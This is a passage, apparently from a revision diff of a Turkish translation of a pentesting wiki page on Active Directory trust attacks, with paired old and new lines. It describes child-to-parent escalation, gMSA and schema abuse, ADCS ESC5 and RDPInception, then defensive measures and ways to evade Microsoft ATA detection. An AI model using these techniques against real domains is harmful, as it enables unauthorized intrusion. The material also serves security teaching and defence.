- **MIT Güvenleri**: Bu güvenler, Windows dışındaki [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara hitap eden daha özel bir yapıdır.
- **MIT Güvenleri**: Bu güvenler, Windows dışındaki [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır.
#### **Güvenen ilişkilerdeki diğer farklılıklar**
@ -588,25 +588,25 @@ Configuration Naming Context (NC)'nin nasıl istismar edilebileceğini anlamak
Configuration NC'nin Sites konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların alanları hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir.
Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atabilirsiniz.
Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir.
**Ormandaki herhangi bir gMSA'yı tehlikeye atma**
Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA'nın şifrelerini hesaplamak mümkündür.
Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) konusundaki tartışmada bulunabilir.
Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir.
**Şema değişikliği saldırısı**
Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yetkisiz erişim ve yeni oluşturulan AD nesneleri üzerinde kontrol sağlama ile sonuçlanabilir.
Daha fazla okuma için [Şema Değişikliği Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine göz atabilirsiniz.
Daha fazla okuma için [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine göz atılabilir.
**DA'dan EA'ya ADCS ESC5 ile**
ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtarı Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar.
ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar.
Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu, [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) konusundaki tartışmada ele alınmıştır.
Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) başlıklı yazıda okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu, [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) başlıklı yazıda tartışılmıştır.
### Dış Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü
```powershell
@ -637,18 +637,18 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
Bu senaryoda **domaininiz**, **farklı domainlerden** bir prensibe bazı **yetkiler** **güveniyor**.
Bu senaryoda **domaininiz**, **farklı domainlerden** bir **prensipe** bazı **ayrımcı haklar** vermektedir.
Ancak, bir **domain güvenildiğinde**, güvenilen domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** **şifre** olarak kullanır. Bu, **güvenilen domain içindeki bir kullanıcıya erişim sağlamak için güvenen domainin bir kullanıcısının erişim sağlamasının mümkün olduğu** anlamına gelir ve bu kullanıcıyı listeleyip daha fazla yetki artırmaya çalışabilir:
Ancak, bir **domain güvenilir** olduğunda, güvenilir domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilir şifreyi** **şifre** olarak kullanır. Bu, **güvenilir domain içindeki bir kullanıcıya erişim sağlamak için güvenen domainin bir kullanıcısının erişim sağlamasının mümkün olduğu** anlamına gelir ve bu kullanıcıyı listeleyip daha fazla yetki artırmaya çalışabilir:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Güvenilen domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde **oluşturulmuş bir [**SQL güvenilen bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links)** bulmaktır (bu çok yaygın değildir).
Güvenilir domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links) bulmaktır (bu çok yaygın değildir).
Güvenilen domaini tehlikeye atmanın bir başka yolu, **güvenilen domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve oradan **kurbanın orijinal domainine erişebilir**.\
Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturumu** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır.
Güvenilir domaini tehlikeye atmanın bir başka yolu, **güvenilir domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve buradan **kurbanın orijinal domainine erişebilir**.\
Ayrıca, eğer **kurban sabit diskini bağladıysa**, RDP oturum sürecinden saldırgan **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır.
{{#ref}}
rdp-sessions-abuse.md
@ -663,7 +663,7 @@ rdp-sessions-abuse.md
### **Seçici Kimlik Doğrulama:**
- Ormanlar arası güvenler için Seçici Kimlik Doğrulama kullanmak, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasını sağlamaz. Bunun yerine, güvenen domain veya orman içindeki domainlere ve sunuculara erişim için açık izinler gereklidir.
- Ormanlar arası güvenler için Seçici Kimlik Doğrulama kullanmak, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasını sağlamaz. Bunun yerine, güvenen domain veya ormandaki domainlere ve sunuculara erişim için açık izinler gereklidir.
- Bu önlemlerin, yazılabilir Yapılandırma İsimlendirme Bağlamı (NC) istismarına veya güven hesaplarına yönelik saldırılara karşı koruma sağlamadığını belirtmek önemlidir.
[**Domain güvenleri hakkında daha fazla bilgi için ired.team'e bakın.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -681,26 +681,26 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **Kimlik Bilgisi Koruma için Savunma Önlemleri**
- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır.
- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Yöneticisi (DA) yetkileri ile çalıştırılmamalıdır.
- **Geçici Yetki Sınırlaması**: DA yetkileri gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir.
- **Hizmet Hesabı Ayrıcalıkları**: Hizmetler, güvenliği sağlamak için Domain Yöneticisi (DA) ayrıcalıkları ile çalıştırılmamalıdır.
- **Geçici Ayrıcalık Sınırlaması**: DA ayrıcalıkları gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir.
### **Aldatma Tekniklerini Uygulama**
- Aldatma uygulamak, şifrelerin süresiz olduğu veya Delegasyon için Güvenilir olarak işaretlendiği sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetkili gruplara eklemeyi içerir.
- Aldatma uygulamak, şifrelerin süresiz olduğu veya Delegasyon için Güvenilir olarak işaretlendiği sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek ayrıcalıklı gruplara eklemeyi içerir.
- Pratik bir örnek, `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` gibi araçlar kullanmaktır.
- Aldatma tekniklerini dağıtma hakkında daha fazla bilgi [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) adresinde bulunabilir.
### **Aldatmayı Tanımlama**
- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturulma tarihleri ve düşük kötü şifre sayıları bulunur.
- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir.
- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar bu tür aldatmaları tanımlamada yardımcı olabilir.
### **Algılama Sistemlerini Aşma**
- **Microsoft ATA Algılama Aşma**:
- **Kullanıcı Sayımı**: Domain Denetleyicilerinde oturum sayımını önleyerek ATA algılamasını engellemek.
- **Bilet Taklidi**: Bilet oluşturmak için **aes** anahtarlarını kullanmak, NTLM'ye düşmeden algılamadan kaçınmaya yardımcı olur.
- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Denetleyicisinden değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Denetleyicisinden yürütme, uyarıları tetikler.
- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Denetleyicisinden değil, başka bir yerden yürütülmesi önerilir; çünkü bir Domain Denetleyicisinden doğrudan yürütme uyarıları tetikler.
## Referanslar